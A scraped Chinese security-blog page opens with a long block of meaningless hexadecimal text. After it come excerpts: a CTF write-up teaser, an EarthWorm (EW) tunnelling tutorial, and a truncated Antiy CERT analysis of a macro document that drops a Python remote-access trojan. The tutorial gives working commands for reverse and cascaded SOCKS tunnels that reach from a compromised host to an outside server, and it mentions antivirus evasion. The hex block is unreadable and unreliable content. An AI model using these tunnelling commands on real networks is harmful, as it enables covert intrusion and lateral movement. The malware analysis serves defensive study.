fc2da4ee410783cf882008f23a8c2c28b97e2368acdf98f63c81974c593e02153a8a52773c7551d7713bbd71e8dc47fd54efb6fb9d72feb7df900b6f9f168678a7f669520e8efbd08d301a6fb997bff3955dbeac98f447680a0b9c80800d345290ba408aba8323ba8e90f977c6146504406068748a522fe9d503ea36d45733cb10a5dfb0d01f5bfced976176fba4ebfbcfac71194f446b623f1105c288d545a5c1b4e59124142bd01c9c2af2ec37e99b4ea6b3acb36ff8d4f6dadd402f56b9edd13e230fe1e9a99277bc40fba2ef11af93d9920d6367ba8881d322b04cb2d6fcb8e7ac0942c9c33cf2b49ec321219198eab2b93b64fe05edd1275fe3c38397312821d56763f525c349197d7dfc4516f859f98b9e7c8223213d142539561cdb7800cb9b53f6798f4f73e4c1487f117c13a573645b8b16ecf2dcc4698a360fa1e2391a9b97c1d19f0b54f2047ad37027f1026a74b685b3188b756ea38e1bc921e4de45194303c4412ad7bb6e676001203360f790af87f50bf3d60907e43c6718b36bdae6d8d60c63e2a52a856ffd05bde10dc556b19f4da994cd02bca98dd2a49336cc218d37d15c03ed6671d0fda63d4af347058cd0d9d9971c579fe5bb96c0ba3a0e06d2c1012a350e77f8cea74dd0e745485e815d0c446edc45b85a4cfb3c3f1973f8c63c014d1e38c4dd10c4c41488327d73381bbe33ace8a1d03ee07282fa2fe133e436401a52a3dbc6e9d1b73ca55d34d00ff4c8eedef82fdcf4dad4231c33d10760dee8cd4a09d437a61f3a78ece03355435c0de6d2be8170ef530d5e9ae11d5a5931afa57826c1e8827e7beb6930a0fc751abab27a0d2624da93564bd5823511500b1335a1da3189ab5d7c3acfcc5134a4c491723ac0b5ffcbfcc6f4624c7d8fa6dea15b9d991efb119fa93b21edabdb80f4fbb3a7299db7f83233a4daeb950e6bf118fe1b849a5b2df4f8fb1fef6f01280d116bdd42083f406fba9a1b6df62a01ff0e6d98042321b18cbc9125e6b1391d6982dbedfabff2779839b257ab2c66b636565491f41a553f817e89c19eddce11f00e053a1137840ecf22e582065d32431ef29e3b0d362c65605fe62d033fa3c4f8dffc5df4f4f7e87017e37f205629e06e2578a69ff29f7b7fb5fc8dcaaaca12ca91028999ef4ae2755d2f71360d6b92834199eeb965e0c49e232d411acb16ea63314f95be648042d290d61f88ab4a9ad852b0dd7dc2d415bda32752fc421e42724960c97f36ac2e27979eedddfcb731b8515bd6f59b790122534dbecf745ef8b176b8f84ed804157424ae8893710f2607be79f002245e11451dc4dd3e8353e3426ab2463edcfa6e5c9d7c0d64f7a2fe0a7185f22f1552e6abe4c09d4d1535013f496de651f4aa965b969899cee51e95b54d400ac79e823c7795faf360656266677df02cbd5fa34717b0babb9c8459d1eebb709068499ef1846108a0c63d1d06ed92d339b43a9f7ac660a302ce8e17556d98dd0b0fee1473e4dbcbc3d9b966ebca20de6652b1d2314c309aadb385f5cee82b0284c63d3587b3c39ff902e5dcb7c1803dbdee2da6c8552911f5da46f1ec85630ce85e2853a918ae4ab63132c7afd277845659b95b94b48fd41f8d635eefded54a5dc7c9bc2811a5a7e77815841240c3fd0e878454d7fde7c0a54174689cc1e0fd9deda6ae56747192cc43fc9330d61f791993f9c33cfeaf0c19732ec218274ec9d8cbded9331036cf2ee30b34679a45b9f6cce7d7c74227ec8e9752b3be55e4da667de6349d8ce07855a5d1a709fe672b3baadbaf74efc7bc945694fce10496ff86a75a99a8f5a6c1f296de8c4e4429365a8db87a312204d7f9376f1afbd468c2d334addd82647430c70375674962855106e81711c7c89950f502e25f88ee28e4fd027b7d6b38e43209be4cce96e965472e6c55a553a4d1490e6563a9946d47d13e238144f45c2fc44eeac3788e2326ef96b41329ec0bbdcc4936b90d654c03cc4ddcb43fa3ffbaa6195e872609d40a69a428c035a0566d92147c77c6508965c4617e6b89b7670f1e3b778e9478711983f50e82b1ce631f2bd43b0eceb76e0e0919e3d443821b5c9020225309c47677c0f21a3cfc4a5a67a30cdf5b80212241dece28fd1d40e3794828d1018ff543f2d731899a9d875434727faebbf8a8621cab9daa47eeacb254a53f994582788bd594160c8eaf352a19d47d200c651c9b0e5c8984a88f7cbca0a2ad52febdae7dec8d1295273260ae2661930183d134aa72b9f5b42987f1f005e78ed90ccedbdca6ae5315aee4b4a7b9e1132d7164b8823a1b3df5d43659872e4285d5405b99ba2077a7ecc384c29a5140f4816814faad883cd48df916a6d6e5ffe0880d3980ecd17cfc5206099c2c4c8a0e5ace77688e4162a5f031aeb82c0acb92054de478abb2985c2fd70c98281d6b1672be2aca1e616f257c54e1a0814c7334264cad842e958290deffd41ada0a6520ed8da99a2afc8c8757c08b453feb00c1d11e9565c4b4ac702fadea8fcdcb141aa062324477f4de13948f871e9cf42c8350a7df6dd51c9e4a8f9537eb92018c350c90e44220126d5ec0f003a1d85a8bf93a322d007c8822912d564825c71ec1c9da62ad101a6d93b852be47688ea63159d3b39b94d5afa577e83984e535ed59a92cb0bea318e3da8d16fdfebbb50700581736e01e950d88b1d590194b155f1e709a8e00000169de135fb56c3b2d4ea40aedaef7d4cc323f4728c89c438d8a25e2876aaab8a538c35cb670294e358ec12f4b648d073e382bc84f8aa9cee550cee5d3620569dcf70fd3eb9c87346cff8ffa2cc90c58543da4cbc0b9c91fbc78b7c329ade74fbdf25473f27df320a478ae6618d09ec04a0d5b60d119bc560ad5259e4498d2e03179ed37150eb0aba22d820cc524420c75b66239ca6c232b3013f24e432c49c4b94de583f1d3642738d716ba6bd89f54717534cdc3823d8c6572afebcf9dfb5eb3d637c9582661ed3f01c6495d8133f0ad22dc4fd8afb4c1e9da5b67a221233d3d98073316af831fe31559e867563f3aeb0fd2374395d8c76805fd7da0d1f401733b9d8eb4bda6b2bca0cea86dea49869669d2c247040237e9747718f449ba1c0e353fe469dec239d9ee7c92fa816288b9058c1fb2fb973b162088f2a004121f9400d50ac153a6298e1dfc028a4891b69bb82c34dc07c3a5384da2abe42ee8b2f16a78e4c98d5f50df4e583db21cd37088b6b7084f8b9b16d00451a0fa89f31c4c5b6c8ee837719564808f22e0af28d862af153b1dfc44d40f2798f8dc11c9235f6940414e0d25433f14b5c3efccf169b18db1fe146fbdea3f74bd2bf558f0b47ea38290b9bcd1ebf111f8f005062277911b3399d5a038a1a21da940af3c273a4ba533c7097ea8c21ccc12c1f57a7af56c1e6dbe31fa77f8b611518601459598dc165ee54bc20eef857d130fa77fb9ddc37c50ccf0796ae34966eba26ddc86a3f0260e03875f4943df7f151f48144766391ca16fb14f4c6a88ab1e987a62579f2ad0f4380566f2e5365435fc2cdc098930ca3165404c12bf09ea26cf263ab6fdc335629b11f2225d5fe73b6617d9a2659963646991268bb2e3a01eda81f998073620efb63ee96558137bfbbdab7aae1ae1a1d4011ed9323ae502605a952f485ce1b35d0db8e585c32011f4e6a41204de494733b0805add01439c3f43e22f9497ca5f15913b0ac5c49d9fb110000ea1bc5ded8c209a16094efcd8625a9b3113c35818534679e35cce338a5845e1a735bdea1a7892c7207071ce7e76c7a59d82312ec8851494662a14c534e9795fc0594a35deeded10660dedf6e24cd6286dfc41a0f3b3e553cdafd67761a0e667ba2daa281beb900f9ad987b1c48afa9ffb1d764b69c46faf0371331c00b622e2587841b9760665f7228a6124a9dcf861acfa0c0ffb5030c3a9a369d5b68ea257aa8c241d9152e913c246125eecf1e41a7a186209e7d9b48db8796bad013659887ae642c0439534202e8aa650dbb01248e896f88bec9cb4b463bbb5a170eddd2abcf903133947b86777de6deb408ad72dcf93db08033eb068030bd79790bbac94583eb8c5634ab9c9152f650829f3a65dc6f86073c11df04de05168f11efae1be0137bce1bc2d2200627af36a5778a913afecfc16c1f735024577ab057b779cb2462e75d346f7eeb9dd3ca8648d4aa730b67784a509c9339bf3b1fcb64dc26b248660a8000ab9fa5386f73c4f6f8ed74da3df61082a2cb088dfc491450a30d635511ff887189360d25fedeca675a0c302d91c5f1d44c19ed53b9cd7378bb8da977da1a252739b022b7fb2f14941272c6b629af23e84a3190f66aae7af12a4b0a62294292a1fff4eb8f998900959eabc02c56138f986aae1ddeb2038740f8ab1051efd752fc2717b6cc17a679366f63cc3672b9a9c9b8c1073fd2168706883f292f37b9a0f0fe10f0ef220a79b718417a982df9cbad43756f3da2f8b2faf7ec12d54807c2ba9775c126213a55468b2a0421a37f32aac4932274ba21f1a6cfb2c447cadfe4c36eb55493619a5964953b669d92aecc14b969821274c3c6806cff84db7958cb5103ad2dcda0d6cad801be47a5e753ceb5e04a991c38bf6ffeccd721dcd23568b6498956b9af5689786dab6a9bf180c94999392dffe5d1e7b18cea1d6bd5f52f4bacc3829e8570beb0f57c0f00f916499fe0f8066fa6a19354070bc7831091a28b348117e98215fa5007c33bb4aab9fd7f6bc9a639264b65596284a6a0c9f086d6459afefbc222d5a101e3eb43fd743790ec14c5b859d19d884a2fe59224d18298bc81edad05e336ab58ed83c8876ada1304edad5c26682619ba2cd27b847604a881030641d5cd64afb6c8f17878cae0f70ed9d65dd3f10a2a840a6b07823e3b8e4166d12e812a1ab2e715e063abccd8dd2c4f666de745be1f0ce07a61fb7ff5b85e1572c563705eb28ac6084ff99b076d47a96c2bead5d5e1022ac10aa8aece9470701fab439465558c8e0eb073bb74e1283b1fc7f9054efe9a6a5eed6f4bf7a24b51f333f130dcc6758928907166c7c674ba602bebb01f965e143e546ecdd85ca4e93d41c61fb03004f1e4b4548fa722efcf44035e431da192d03231347317f22fecf204bf8015afced4af18aaee50785ad7d12f42c2f9002e43721b35d1ec8a9b495cd176ceaf5a9861d057121efc615d2d8e596548b04f29c5cbc472582503640d87ee3a76a72ea0d09c79d16ca7f04141dc72ff43492e63d6ca981a7a446a9f65454581e1a92c921c7a5d5150b730d997673be5217850d88cffb6a2eb94e188e46aa287c3e2bd399dc3580903053f6f449ea08b90dcbbb98bf667fc24c65a147cee822897bb214e2996bddef30c7ffd6a138b055c68c97e2c8d17c19689a6f11bd944183601ba447f06884422b6c3bf6966733154ee7877d922439331e4e14d81d280b8a6611a46e04f7b0f62800814328ebe7026f95ff1d198d0ff3b653de12a27ea3e312a9325baceb22b75d92f53d46d0e8b40a8f410c478eaa201746153a58e0242760d041f82f19df4ab6e4cb74e4f85c8c97f8cb1686da6aaf317fd5dd6c91c16b81d953cb16397b1dfc88e813d2c2ef28da629707a45797ccea81d3ac5eadbd2c11f03645c43541428fde264ad88b4b872d8627589eb20f3b76b200a37dba3f74d97d25844b9ad5ff55b34f78710c258e584c6d46cb89a3c714cce82bbb7472f95109768a3ff7744b4769cd0ca16415c1a405e2287aeaa490ca6da607dc570427234bcd4f610c73654952f6a888b7dbbda71c911b99dd63eae75e6a9ba95c6e1009f5ddb93845c5ee1c00d3108e2592faf61639afe460371c622787f58916a2f2ecf68bbf9387dee0b2b0d31244ae9d049a8f82eef549f275229886434f81c3743cbef6488c018f1bef87a5395665d7f245f3291df60a90232d691bc7554f6d12aa55c995bfef083a6321900106ee87afe11227d883da379bb9f50a9400f2780b5ebd7ba7056e039ebf135f6df36769bac50dd252c99f04c606cef3fdb8eb21d3b25469ce217c699e4e17606e913023c871efe66abfe975dc7a49bfe0769c27ca4e14c49e83a11178845397b96c67333e5e1289811556571d2e05fd660f4b12852fc9730937111d4f532adac28f0a121743759097d9b484cbe7265cf3d69a9f9fbe25020034a64c67770974925e9b3e979b9e33fd316eb154f9796a5b1ee4f35e44c8ab20f26a1e07a8d77ebd75a9e5dec742ccc6acf5bcdc81e01938c92b9f94fe97055eda0260f7dc49afea33d81263dfbca3d09091c345e55adf634f6e83cda3218b2f3dccf52f53d348d7040db205b81d4f344ef9787e59470417a2a758829f6c35db95558a3fdabea6326c3dc367cbc493816d47f471e396550b9dc36ad59594f12adaa7ec10369a0b77223f0f12a7cd827ba7458ca7b5ce4d85cf9aa154e421953829a2ed1ae170a28e26c0975ed28b49964c1ecf02d65cd16b4ef82931e59745248a48bb2409b35662d5715ea0643c7a9af0ba9727141ddfe759cdb644239f4e174fbbc91d126d3520e55b29ea073007288c51628c010e48bf9c924830febad4d68e147a8ad1364e64f9d4edd80e005d0b0fceed230e9b8fe7951052619efa0a7007d442ca701a6c9181dfc50c606a52b54eaaa9d9fff7f8333faec6e0cec5e3af21b2c187313fb1b8adef7b182c667092f18c5ea93b79692dbf04d8a51c0af2cfe5df040755c46f6e6c753f54fc9596761369851f6ad999abdf7cb7eb65e62470dbc28900bc172632416a9521226178b44f84318d0e2178b5deb0f84d4c7122fe8c0933f087a578293a26dde6dbc909c5a2f49378e1e6005285300cf9c65954a15eb81d0c1ecbae98726963fa172a92001d8b5e5c018a70e03c52235a8efb956b3c5027b4c3086ac2a4b8df6f203816ba1ece57fedf86819e0cc26b068ae12cc45836b879efea4dc6b0742eb0fd986ac5cfdb76dc6dbb8b43a8334be23aacb5216caa93505c8c96b9ed3f53302b2c74f565fd29b04b9df0666b8bc9b5d8eba4b40ff4dd53ad5f3b177daac2057185c04613403a8688b95b16c215076200c0a4f6ec6c70f091ce9fb7131ee4a7b194f7d00778ff19d40c4527ce0884c9d6d4d90f86157154726e63baedc0fdccb959b89db2051ea5cb5351d6582468832b44aaec9f9c338dc04abce24763d4804a5ce396fc383db5e6306bb7978ab4b5ce5d76656a26645a957b0486016063c030a56cdb142376646001c4a0c33a655259784c2688fe1dbd6113dd0c49f6cc4e57e276e1e6cbadb8263a76d263f04d9a3f76ae56edd1eb7a4a11000a40efd1d4125297cce7f8e248b6e2ab1a2f55b956a510423644e483b2c4a004f54ae6a118b82585a3cc5913644836b548332cdc1e933ee71ec6ab77116e651bec5c2f25f25e60434dc0430bab4017fcf79fa7e64f50a585ff252581bc873f7a2bd360d6740aec287ef5cb2a343b2702d5ce820a080b9d477f04d99f79b415778e43862ca6f37ded8fdcb8031c06ff882c3cfe1875504b2bbc05eae927030792d253b0f16adda59e8dcb30b0115d4bcd675b1fc8855a8c2ab6ddc05e71989aed9f3810dbc3c3efd14489b728aa2532c1a5de379913525572e31d91b34b3fbd468dc42c5a14cc27c803a6136f2c47b2a5d7ee587793d8b52824ecd607488f98041e05dad2c313d1aa61f052c6bd0cbd943fb103b003129a6c9393e977b60e6013905c92db82c9bc8f033f9e505ce0f1124a839c6bc2770c996caa86acd9db617ff64b8e1acb14d001ededc17a5b2da40d46c11e1e3775511db7ab9b1ea7205df42a9ac8204384dd581ff5856d31e6691551fb0c2cdc6bd0760c1bb36f3b8677db27880962a59037c4d768fe9170abccdbc203086f6e5c01829be3011933b970b384ae9c1f7aca5a3dbaeca7c50c6376c671675e76cc7eb8f40b8c3b4928080a7709b584be9d263e0a583fbe1a633b4ec629493b7ec6723817d7abe56c38c2ed8407fd9b6743b1092c8e88578f91ec7394dd54d1e9dce2df744f8ee28fa18b0f1f53ecd0eacc3a21ac0f5206e0f6d90280adc82ca1d30da200daffdb9dedaebbb6344ff72d3bc4a9e0a8e5cf0fc6da3b0c5dbcf56001850525781c4cd606cfc941340eac1ab7dbfae6baab973c38ca67c791ea82f27c4eb2f2c918866d7ec733fab25764e761d0737a737c9595b8add3cc402b32f42938c9ae6c888fcc84ed6f7d1912b24e4f52d175bb66b98d9cb25011511d9db44bee4e20b0569cc1481bd10c9a5071ff395cc13a74876c861b5c7ffa6ec62170e99b1440d24bfeabc14957e72253b87bfeb5fa58dfd1de9757ede5bdb962af1cf7e58ea0bea238f966ac7da8ba190cab2ec59955f32adf69727665583390d9b5aeece99a4a1099498c480a79faa3646eb5e437e3cefc12055cb0841c9c159c12b24ce66cc96f66e0f0c2a9dba877ca66103e64e0f7b0e8a37d262ad3104331a66a06be4ac68354fdf97a029ab9f894fdf3f7aac2398966dbed3e0fd74024e57df30c84d16538ef2275d5481dd59a7bb4140acd44f56eb1e3ccfaa4f57e2182211d5e1c55931fce21208f1c71c513fbdab69ad368cfbb36c5c7f1108b4bad9114aec409d338857e075c738d766102927c55bc5fe24272c048f2aa10cc9545960b9b85ae9635fa96c2a6f5b721efb0c9a858c734e9514086dba228909ba63c8a613ac2c5b0814c0a68f307fba231b4d8d5970033e23db6c2b64f3a91bd481aaff524ce74d34f6fbc62a347465ad5bb861dffcfdcd9cc47ccbf72b41c3c4a8b762b09ea634f822c37aab937ea5e7c2e553d79db2c8f02556aee638c262f923a6fc61bdee9ac47cfff758877744c4910ce0ff6a52ea7042e881181b916242c802e6cecaaa54ac87361127dc0c40be01b0b91259863bb64725059b3271db59fca3cfcef30e14f34d12056b2c55b80d99905b3d44768af094eb44c53f95a73ec04bab785d02f81f580235cc78616c5c5187fb55245f0ee8bc0eea9b165566122e95767a2dca8c9b522a09f2fb8857b909131d5a8bee0644073628f64726449074c4a3d0cf1f16950eda988b919aec3f07aee87ebe4261e16f86fd622f182c167cc940df1fab4d799a1edf3c52efa1c6f8f8aab0a2d0291ed6093878a7b1239f8d02778786f0b170993d6c96b746af05d592ff8b103ffd420f4be13a5e40f61a9d71767a02a5d042bddea182f875ec221f61a1b39c1ef08e0a554f7686ba2255522e6dcf42969243d54a9ec2840ef88b195d24416283fadd7ea322bea51f14e48bca5f4c6fb9b769167b978fae105c3a985664c5352b5563c94ceffffc7ee7803209c19bee5d601e40a36051c0e96f5d600f36c3aba457470b0b094d9cfbd4c54f56e66411169f703373db2e29f05dc99b8ac755b0d768ae58afec6e1969da1d534948b26cb46c218bb9218c29d4010113c7df6ac945c8b214df597231f027ed1234d360bc50d70eda401f27391b9f8ee8aecec0e08e7852bb992f70586df6455f76ad00efa5456d093808bf3e584c8228106066d906a13f7b4767586ff6dd8977aa3957090027754f0c6e5f70980897598ca3aeb187a82424ea81c550be7e348f1bc540202e5158ffc039542f0be2cdaff18232dbcf39c9277882ef8dd3fd1868126ec880807690b0fa3e309559a96c31e5db817e55ed4a7d51d722b6840c5452d3015b3cc6fd09b19ca26d24833704eaacc2338484e9ad1a538d71d9b8fb933f5a200b5a6664c5515d3c7b5272719a3f0acce025e82d68c7a5d0f8a4300889d5bdd0ffa0871b331f8bd33752a15276165cd7b9433928483e33d6b42753d5cea7023c605f5cc61c419bdde041318d4f8228482215feeadc2f8a881fb46553bc6cb9d42c055a09e19e2cd397c5c43a52505929e04733672c37e217c175ca95d9e40536de17f27a2d920cb5f27bc5358fe267098a755c20f26683b90d306a20652b53dd776fd3ab291749f5054a57ad10e431343aa97dc63413c65c6e111f45ff917a8fe3e8d02260e4e2fcd31ee408989158249e63d822d425b287f3db296728170685532cbf307377749902b6ccf26b862e78cf3ebb483345acfba5d93ecab9cea370cb72e5cb282572a109dcbf808fdc8d128f6771ac4ff18e21bf2648c932fcd2046a5c8ad59b6342a2c4561f3397bd9e0d06e8a366a7ecdb6b0974b4b92d9a70fe929bc5edc8f0a313e541463b13711847c3867a16b371e4cb9a2a0e657a304451e8895b8cd57b9837772ecbab64fe557e0939dc8ebea4558f492384570fb80ac7745319ef39d533d9651d43e6ad2894ea521915f90038e42b39fdabc70774014854e2ac4bf71014143aab6891105fde1a255451cdaf2fb2628160ae995589eda7a268bc59a037dc25646da7ebdacf5d41484758ddab1ebd2533b2f4fc9f4d9966a7c934f3140f5b3ccb43851180c45148206769265b48cc32aef8cd7222a121692cda80ac96c4b941153daad3415b8b2857e005f4c4588678edfad23720ec91e24d24945abb5141273e174f67ea78493a0bef7f9a6be997e25818b4030ec11bafc624da2e797884abdfd9d467862479a9121effd427b26f7ea8762ac7a30412b4c3280358378cbad32ae52c34d3d73fb8c8ed42e9a5602635b58f56606e78e0b356413e6deb79c072096d1c787b7a5aed6ebacf204aa78532df7056ab67c385d333526edfac5a4afac105ee6e0d0d32cc1aee393cb14a23465d7d0c10d59798d422c4cfc8a79046a26598f51e397209cb46c5ce48ba9d3cbc75f37c754335d44bc661a6c2865efab2233de7cca12343c3b84406462518071d731ef3c4c6785a8658f72f7c3f644296738dd163447944771cfdc566d5dc635f9c3a2b49272a3fa4450308e939c25ff87e4000316ab7b2a3b2a89e8f6dd7202ae34869b3c29dc470c699059c9d7213e9cf35e4e41c3a15fa4e84344864bb8e24fbbc30f99b10485d36fbf0a1064b6ae4d6cc5628529940e1405e49edb3f19c3079dac36f13b699edb73c5e2cdbe5d77172dd3266f0fe187562bd6f89b78cab7078fb6d18396ef7d9db5377b358f922df14e26991bd8f376de3a30066810b6caa78cdc14f9d807b58d58ec1fffe183a23906d3671378a8379cab89934ed12aefe1490e3f934307a85178d87dd701167b26ef92417e883895aa83110d7a0fd77a3ec4f227e198bc071fd2d6db0e4d9292c08167f0fc7514e431d889a37014cf4f80eca4d8357907ad5fcf67b2322cf945825d98f55b3bcf34835100234e5023df4587f2d0d87350e83e7064ce13594ed7d508b64fb407b4f2a4ad72baf07eeec7448a0d4982788eb5f135089e2f1abb21a4eeea98814ce7ffd838f9e907cb9c7a1eb6580e85c6bd3b3404c68c3f6de36032d6fd631f539b2862a9c7abaafa5c37f06491d32278e26a57a49d9b3c41bca349151772f1e50a8963e82797a4ca0de984c0ec55c85f1f9a7af61bb6e025c199ab25bc5a55f5bb42852c3649b24e49112055fe93cdbbbaaa59c3ef448db7ab81f4e1e0cbe1abf063cfa3191d7a97e42e0a5ac5ff83dbed38ad70c9694b3a6042a161c69a53c869293000ca32f08ba195b460ad41adf372b5aa006940104cbb5730e531f13a3d8ac53c8b05c6d5908fc7efa1d5657ef444f26ea214ebf8b40be6fe34a1f317ec91b939b872e41b5c749d65f3bf2841adc8ebd86d4dcf6dbf3739c641208a9f2343663982ed51bc910e1597caff04de35c0dbbf939e93a708c42fcf778a90220fcb6d4cd898be1a8a85afbda8f5d3e355d8e5855d9dc669917c2a22c24213cd203fbc3ab5012d06f6f9a5708266d74e38d0715d3db36928c8e1ed93b2cbf37210197d647f53e995cbd89e3f26944b25420c984d8e6d66c915ab92eae0d79e83e29902a25e19606151379ae8c90708ac986966b8780f4d2c8150e4249d3bfc3208fd16180ea8408596f51e6eed2d786543b5eda8b4c81845a93c53b8eec472c90d60e5c9720076a5940573157fbdf8038f5a76281041b882634699614dfd47113291b0438504d687a728cf77b010bcc9fc84bae1be3a3f80a3fa083c4be94142ba4016713be4a7ca5077f44c11570484045f58cba295e8a69db25e4cb622e682557e1aa9bf7a0a40e7a484c10420376af91510aad5895b3f029980c332412992b8aa09c083812bb7633c43a9bf6049185f661156cbe4eb6ef9a62ef1ed0bd8b414647bb48b0945bed73e719a5ab467071254045146da34e1e2a9d12b542738c8afe6fe85450182acddf99813df7ae6f750ed390470492938686ebb933b45fa7ce3d5178ce975fbf9a97d9e6294ad35b6081b12874c602c40af5209d7457adc7758274e91d5155d9d6dc0b50e8e29ef976e779729778e56416dfd237eef62875e3a13b04a4ecf8a69c089b1b165f003b1f86f88e61686afddebf92b7a7fcccbeca4e15e1c651dedc27cb8fe5798489515a5a1c2b1af351955855be7dc7342763df73a83e516dcafd7ccdc56a9e84e03eeea207099ec32f38022f54f0fb374caf5b56ae040da5766a33978aea7c33a265d9f95bf707c7a3fcc47a5d20344b119fa34f7e80b4c128771fdcf43f7bb45681c0095b523801fb1662ddbe16b051c9faeca9c98a83d1893dd70fdc12ec312c44ce60d9e3dc0c91fffc5e3ecdb40b3b68da2ff5052559cc519ac139f645798733d1fa55a1b16020c002a728d661f80eaf3684fd68da26383b035f150c9144d5526395ed5b3f5ca33faf601131b9f9911b0fd0cbfe0b5172130d8ed77ab1c809a0818df691e8ab2cb17537eabfe7e552ab4da056de72591c487afe47018b6e45067505fd3c1268c1eecec31a36c34bef07c273841f8de33edd4c73f838ee8d28510cdb510d7f21af3bffe1be92760609f797ed21ae329625fd67c36af5a4f1ec916591d8d3a300a9c1ff5f932d8de94e478bb9d6956e47c6f2ec435cc8cb878fc4fde9960412843b388ca12f4cfa2390030d12e4d036aba1e59c08d59dcf30dcb1762f66098ee67992b1b68f7143fc3c4dc5c535fcfc8879f3e97bda72629edba01d5912a86aa17f328597976a7e7b43632ceaf5aa66b28645123da0c4e5fb7d35618f8cf46ec4a50491bb7220071b5b45755fe97e7347417ffbf17042049cf768ec4a1d52829143136612bb2366e2cfe8a74f8d1c39e2e8ea0caaf553462fc0a78afe2b49e1bc82c95e081f346fe1b730cb26f6fa6c588d89f9d012562a333552636230b2959c0fcbf3a0c565be14bdc710750302fe78c0d4d12ace850d8e319986a12171daf5b1ae0c5e2d0749705cc6d9c0d19b683cd060e1c33a775e556580e052ec476fb573934c2d6da713f89f7c15f280474824f98a8ac985b8baab1615aceb9535a5a2cb84874eadbab265f0b790ed7df4311d0b752d95fb1c1fce443a9b1eac5400a0fb882eb9fab04f38c1f655ca2a3fd2aa9810e2ecf12c381cd3baa3cac20eff289c56f532d2f941db66ac4f0884278aabd125d0ffd261d5d029bf910ff23255883358e455230d8d23d7ed2dc271651795777d9a6ec0b029b5e304a25ad8bec184d05a0a93605c0ee3e7e1f0b85bef3fa7a8ccbedaeb28cd5bdebd4be33dc8ce4941ef96373ca5e7337020e3e692215c344b4bf0518ad3b93e3d78ead1616a1eafb9d3dc6adbb65d32477c9554e22adb7f4be74ebd0785fd8ab512f1836613ca9cd8115d7981e92c5ece2738d2c106a6bdd008212783debccf392aa4c172ebd2d060fca7dbd9e09079502c5d8cd85670979449a558fdd1b68e20ae1d7a06a3f565dafa52e1f69b95882e89ec798d863541e8e03d9957404ecb8cbc63ebe8cb1fe4ab900137b3091764f735b8ac28c605b8051279d2a93395364473150838cd10a8f8f228b5d81e0de5c90959932adc404d6e0625cb80f65cfe5ab784de09a4965ae17ed8a2bea885ffca14274c857b7a8cdcc1e3c9b9d0006a2a70 FROM : lintstar.top , Author: 离沫凌天๓相关推荐: DDCTF2020 WriteupDDCTF2020 Writeup 全靠lfy带飞orz. Web Web1 照着来一遍请求,拿到jwt,jwt.io看一下是hs256 跑一下key是1,伪造即可拿到client client抓请求发现signature对即可: 逆client,得到sign…
阅读全文
内网隐藏通信隧道技术——EW隧道 安全文章

内网隐藏通信隧道技术——EW隧道

少就是多,慢就是快内网隐藏通信隧道技术——EW隧道EarthWorm中的应用在渗透测试中,EW很好用,体积小,Linux为30kb左右,windows为56kb左右。EW是一套便携式的网络穿透工具,具有SOCKS v5服务架设和端口转发两大核心功能,可以在复杂的网络环境下完成网络穿透。该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处,现在使用人数较多,如果在真实环境下使用,需要免杀下载地址: https://github.com/idlefire/ew该工具共有6种命令格式(ssocksd、rcsocks、rssocks、lcx_listen、lcx_tran)-l 本地要监听的端口-f 要主动连接的ip-g 要主动连接的端口-d 要反弹到的ip-e 要反弹到的端口-s 工作模式工作模式支持如下:lcx_tran 正向tcp端口转发,监听在本地lcx_slave 反向tcp转发客户端lcx_listen 反向tcp服务端ssocksd 创建正向socks代理服务端,监听在本地,直接把当前环境socks代理出去rssocks 创建反向socks代理服务端rcsocks 反向socks代理客户端使用方法:以下所有样例,如无特殊说明代理端口均为1080,服务均为SOCKSv5代理服务.1. 正向 SOCKS v5 服务器$ ./ew -s ssocksd -l 10802. 反弹 SOCKS v5 服务器这个操作具体分两步:a) 先在一台具有公网 ip 的主机A上运行以下命令:$ ./ew -s rcsocks -l 1080 -e 8888b) 在目标主机B上启动 SOCKS v5 服务 并反弹到公网主机的 8888端口$ ./ew -s rssocks -d 1.1.1.1 -e 8888成功。3. 多级级联工具中自带的三条端口转发指令, 它们的参数格式分别为:$ ./ew -s lcx_listen -l 1080   -e 8888  $ ./ew -s lcx_tran   -l 1080   -f 2.2.2.3 -g 9999  $ ./ew -s lcx_slave -d 1.1.1.1 -e 8888   -f 2.2.2.3 -g 9999通过这些端口转发指令可以将处于网络深层的基于TCP的服务转发至根前,比如 SOCKS v5。首先提供两个“二级级联”本地SOCKS测试样例:a) lcx_tran 的用法$ ./ew -s ssocksd -l 9999$ ./ew -s lcx_tran -l 1080 -f...
阅读全文
原创 | 将Python远控隐藏在文档图片中的行动分析 安全文章

原创 | 将Python远控隐藏在文档图片中的行动分析

作者 | 安天CERT1、概述近日,安天CERT通过网络安全监测发现了一起恶意文档释放Python编写的远控木马事件。通过文档内容中涉及的组织信息和其中攻击者设置的诱导提示,安天CERT判断该事件是一起针对阿塞拜疆共和国国家石油公司进行的定向攻击活动。此次事件中,攻击者充分利用技术实现规避反病毒软件查杀,具体为利用了隐写术将远控木马相关文件以压缩包格式存储于恶意文档里的图片中以备后期提取利用。首先将该恶意文档另存为docx文件,该文件格式具备ZIP文件的特性,然后另存为ZIP格式进行解压并获取其中的图片,最后提取图片中的远控木马文件。此远控木马采用Python语言编写,具备一般远控的上传、下载和命令执行等功能。2、事件对应的ATT&CK映射图谱本报告中涉及事件为攻击者针对目标系统投放恶意文档,释放并运行远控木马。通过梳理该事件对应的ATT&CK映射图谱,揭示攻击者在该事件中使用的技术点,如下图所示:图 2‑1此次攻击活动的ATT&CK映射图谱具体的ATT&CK技术行为描述如下表所示:表 2‑1事件对应的ATT&CK技术行为描述表3、样本分析3.1 样本标签表3‑1样本标签3.2 样本运行流程当恶意文档中的宏代码运行后,存在两个自动执行函数,在不同状态下触发执行。一个是当文档状态处于打开时触发执行,通过创建目录、拷贝、另存ZIP格式、解压等操作获取嵌入图片中的Python编写的远控木马;另一个是当文档状态处于关闭时执行,调用shell以隐藏窗口的方式执行bat远控启动脚本,进而运行远控木马脚本,该脚本主要功能为释放vbs脚本文件(内容为调用bat远控启动脚本),并以该脚本为载体创建计划任务,同时建立循环加载配置文件与C2建立连接,获取指令,执行对应操作。图 3‑1宏代码创建和释放的相关文件图 3‑2样本运行流程3.3 恶意文档分析样本为一个具有恶意宏代码的Word文档,从内容上看,是以SOCAR公司的名义伪造的一份“关于分析用催化剂的出口”的文档,同时利用模糊效果和提示信息的手段,诱骗目标通过点击“启动宏”按钮的方式可查看文档详细内容。SOCAR是阿塞拜疆共和国国家石油公司的简称,结合文档内容,判断这是一起针对阿塞拜疆共和国国家石油公司员工的恶意文档投递活动。图 